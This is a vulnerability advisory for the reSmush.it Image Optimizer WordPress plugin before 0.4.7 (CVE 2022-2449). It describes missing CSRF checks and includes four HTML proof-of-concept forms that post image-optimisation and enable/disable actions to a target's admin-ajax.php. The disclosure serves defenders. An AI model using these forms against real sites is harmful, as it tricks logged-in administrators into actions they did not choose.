reSmush.it Image Optimizer < 0.4.7 – Multiple CSRF | CVE 2022-2449

Description

The plugin does not perform CSRF checks for any of its AJAX actions, allowing an attackers to trick logged in users to perform various actions on their behalf on the site.

Proof of Concept

<!--optimize all images-->
<html>
  <body>
    <form action="https://target/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="resmushit_bulk_get_images" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
<!--optimize single image-->
<html>
  <body>
    <form action="https://target/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="resmushit_optimize_single_attachment" />
      <input type="hidden" name="data[id]" value="88" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
<!--disable resmushit for single image-->
<html>
  <body>
    <form action="https://target/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="resmushit_update_disabled_state" />
      <input type="hidden" name="data[id]" value="90" />
      <input type="hidden" name="data[disabled]" value="true" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
<!--enable resmushit for single image-->
<html>
  <body>
    <form action="https://target/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="resmushit_update_disabled_state" />
      <input type="hidden" name="data[id]" value="90" />
      <input type="hidden" name="data[disabled]" value="false" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>